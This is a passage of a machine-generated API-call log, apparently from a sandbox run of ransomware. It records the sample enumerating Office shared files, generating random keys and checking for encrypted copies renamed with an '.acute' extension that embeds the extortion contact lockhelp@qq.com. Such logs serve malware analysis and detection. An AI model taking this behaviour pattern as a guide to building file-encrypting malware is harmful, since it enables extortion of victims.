(hObject=0x30c) returned 1 [0273.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0273.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0x20 [0273.104] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.149] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.154] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.161] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.162] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.163] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.164] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.167] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.169] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.170] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.171] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.173] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.173] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.175] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.176] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.178] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.179] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.180] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.181] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.182] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.183] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.184] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.186] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.187] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.187] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.188] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.189] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.191] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.192] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.193] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.194] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.195] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.195] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.196] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.197] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.199] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.199] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.200] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.201] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.205] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.206] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.207] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.208] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.209] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.210] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.215] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.215] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=18380) returned 1 [0273.215] CloseHandle (hObject=0x310) returned 1 [0273.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0273.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.216] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.216] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4991) returned 1 [0273.216] CloseHandle (hObject=0x310) returned 1 [0273.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0273.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.217] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.217] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=44302) returned 1 [0273.217] CloseHandle (hObject=0x310) returned 1 [0273.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0273.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.218] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.218] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2668) returned 1 [0273.218] CloseHandle (hObject=0x310) returned 1 [0273.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0273.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.218] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.218] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=42453) returned 1 [0273.218] CloseHandle (hObject=0x310) returned 1 [0273.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0273.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.219] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.220] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1571) returned 1 [0273.220] CloseHandle (hObject=0x310) returned 1 [0273.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0273.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.220] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.222] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=30170) returned 1 [0273.222] CloseHandle (hObject=0x310) returned 1 [0273.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0273.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.286] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.286] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=334427) returned 1 [0273.287] CloseHandle (hObject=0x368) returned 1 [0273.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0273.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.287] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.289] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=109718) returned 1 [0273.289] CloseHandle (hObject=0x368) returned 1 [0273.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0273.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.289] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.291] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=72031) returned 1 [0273.291] CloseHandle (hObject=0x30c) returned 1 [0273.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0273.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.291] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.292] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=58026) returned 1 [0273.292] CloseHandle (hObject=0x30c) returned 1 [0273.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0273.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.292] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.292] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=944994) returned 1 [0273.292] CloseHandle (hObject=0x30c) returned 1 [0273.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0273.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.292] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.292] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=123956) returned 1 [0273.292] CloseHandle (hObject=0x30c) returned 1 [0273.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0273.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.293] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.295] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=416918) returned 1 [0273.295] CloseHandle (hObject=0x310) returned 1 [0273.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 